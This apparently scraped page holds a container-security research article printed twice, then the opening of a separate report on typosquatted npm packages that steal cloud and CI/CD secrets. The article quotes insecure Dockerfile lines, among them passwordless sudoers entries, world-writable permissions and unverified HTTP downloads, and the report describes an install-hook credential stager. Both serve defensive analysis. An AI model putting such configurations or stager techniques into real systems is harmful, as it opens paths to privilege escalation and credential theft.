Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.

At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.

In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.

Image analysis results in Kaspersky Container Security

Image analysis results in Kaspersky Container Security

To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.

As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.

Software vulnerabilities and compromise of update sources

One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.

To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.

An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.

Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.

In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.

To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.

A record number of vulnerabilities in a single image

A record number of vulnerabilities in a single image

However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.

Detecting potentially malicious software using one of the images as an example

Detecting potentially malicious software using one of the images as an example

This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.

Configuration vulnerabilities

Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.

Insecure image configurations detected by KCS based on rules

Insecure image configurations detected by KCS based on rules

The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.

Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.

Example of container analysis using KIRA

Example of container analysis using KIRA

Insecure handling of credentials

Use of default passwords

In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.

RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd

According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.

Passwords may be present in environment variables. Consider the following Dockerfile snippet:

ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start

In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.

Let’s look at another image:

/bin/sh -c #(nop)Β  ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin Β Β Β Β Β  MOODLE_ADMIN_PASSWORD [removed] Β Β Β Β  MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOSTΒ  Β  Β MOODLE_DB_PASSWORDΒ  Β Β Β  Β MOODLE_DB_USERΒ  Β  Β MOODLE_DB_NAME Β  Β MOODLE_DB_PORT 3306

For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.

To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.

Passing passwords via command arguments

In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:

/bin/sh -c #(nop)Β  HEALTHCHECK &amp;{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}

In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.

To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.

Privilege escalation in the container

One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.

The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.

Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.

Attacks on sudo

One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:

/bin/sh -c set -xe; Β Β Β  apt-get update &amp;&amp;Β Β  Β Β Β  apt-get -y install sudo;Β Β Β  Β Β  echo ""solr ALL=(ALL) NOPASSWD: ALL"" &gt;/etc/sudoers.d/solr;

Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.

echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' &gt;&gt; /etc/sudoers

In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.

As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.

Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group β€” by modifying existing rules.

perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers

The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.

To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.

Insecure file permissions

Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.

Consider the following command:

chmod 0777 /usr/share/cargo /usr/share/cargo/bin

The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.

To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.

Lack of integrity checks

Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.

For example, this risk may arise when downloading a distribution via HTTP:

RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream

Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.

To mitigate the risks, you can configure connections to web resources to use HTTPS only β€” if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.

There will still be a MitM risk even if certificate verification is disabled:

wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip

The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.

To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.

Conclusion

Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.

Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.

To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.

This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.

  •  

What’s in the container? Analyzing vulnerabilities, risks and protection with Kaspersky Container Security and the KIRA AI assistant

Introduction

Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.

Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.

At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.

In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.

Image analysis results in Kaspersky Container Security

Image analysis results in Kaspersky Container Security

To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.

As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.

Software vulnerabilities and compromise of update sources

One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.

To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.

An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.

Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.

In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.

To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard

It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.

A record number of vulnerabilities in a single image

A record number of vulnerabilities in a single image

However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.

Detecting potentially malicious software using one of the images as an example

Detecting potentially malicious software using one of the images as an example

This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.

Configuration vulnerabilities

Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.

Insecure image configurations detected by KCS based on rules

Insecure image configurations detected by KCS based on rules

The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.

Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.

Example of container analysis using KIRA

Example of container analysis using KIRA

Insecure handling of credentials

Use of default passwords

In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.

RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd

According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.

Passwords may be present in environment variables. Consider the following Dockerfile snippet:

ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start

In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.

Let’s look at another image:

/bin/sh -c #(nop)Β  ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin Β Β Β Β Β  MOODLE_ADMIN_PASSWORD [removed] Β Β Β Β  MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOSTΒ  Β  Β MOODLE_DB_PASSWORDΒ  Β Β Β  Β MOODLE_DB_USERΒ  Β  Β MOODLE_DB_NAME Β  Β MOODLE_DB_PORT 3306

For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.

To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.

Passing passwords via command arguments

In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:

/bin/sh -c #(nop)Β  HEALTHCHECK &amp;{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}

In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.

To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.

Privilege escalation in the container

One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.

The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.

Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.

Attacks on sudo

One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:

/bin/sh -c set -xe; Β Β Β  apt-get update &amp;&amp;Β Β  Β Β Β  apt-get -y install sudo;Β Β Β  Β Β  echo ""solr ALL=(ALL) NOPASSWD: ALL"" &gt;/etc/sudoers.d/solr;

Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.

echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' &gt;&gt; /etc/sudoers

In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.

As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.

Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group β€” by modifying existing rules.

perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers

The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.

To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.

Insecure file permissions

Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.

Consider the following command:

chmod 0777 /usr/share/cargo /usr/share/cargo/bin

The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.

To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.

Lack of integrity checks

Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.

For example, this risk may arise when downloading a distribution via HTTP:

RUN /bin/sh -c wget -qO- ""<a href="http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz">http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz</a>"" | tar --extract --gzip -C /opt/acestream

Using HTTP without verifying the archive’s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.

To mitigate the risks, you can configure connections to web resources to use HTTPS only β€” if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.

There will still be a MitM risk even if certificate verification is disabled:

wget --no-check-certificate<a href="https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip"> https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip</a> -O phpvirtualbox.zip

The absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.

To mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.

Conclusion

Docker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.

Our research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.

To detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.

This approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization’s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices.

  •  

Typosquatted npm packages used to steal cloud and CI/CD secrets

Microsoft has identified an active supply chain attack targeting the npm package ecosystem. On May 28, 2026, a single threat actor operating under the newly created maintainer alias vpmdhaj (a39155771@gmail[.]com) published 14 malicious packages within a four-hour window. The packages typosquat well-known OpenSearch, ElasticSearch, DevOps, and environment-configuration libraries, and several spoof the upstream OpenSearch project’s repository URL in their package.json to appear legitimate. Once installed, the packages harvest AWS credentials, HashiCorp Vault tokens, and CI/CD pipeline secrets from the host environment.

All packages in the cluster ship the same install-time stager and the same Bun-compiled second-stage payload – a ~195 KB credential harvester purpose-built for cloud and CI/CD environments. The payload runs silently during npm install and targets credentials across Amazon Web Services, HashiCorp Vault, GitHub Actions, and the npm registry itself, enabling both cloud lateral movement and downstream supply-chain pivoting through stolen npm publish tokens. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution via npm lifecycle hooks, two distinct stager generations (an HTTP-C2 variant and a stealthier variant that abuses the legitimate Bun runtime distribution), AWS Instance Metadata Service (IMDSv2) and ECS task-role theft, AWS Secrets Manager enumeration across 16+ regions, HashiCorp Vault token harvesting, and theft of npm publish tokens for follow-on supply-chain attacks.

Attack chain overview

The vpmdhaj cluster spans 14 scoped and unscoped packages that all mimic the @opensearch / @elastic ecosystem. The attack proceeds through:

  • Publication of 14 typosquat packages under a single actor identity
  • Automatic payload execution through a preinstall hook during npm install
  • Execution chain (Gen-1): node -> preinstall.js -> HTTP C2 -> payload.bin (detached)
  • Execution chain (Gen-2): node -> setup.mjs -> download legitimate Bun runtime -> run bundled stage-2
  • Cloud credential theft (AWS IMDS, ECS metadata, Vault, Secrets Manager) and npm publish-token theft for downstream supply-chain pivot
Figure 1. vpmdhaj npm supply chain attack flow.

The lure: typosquats and spoofed metadata

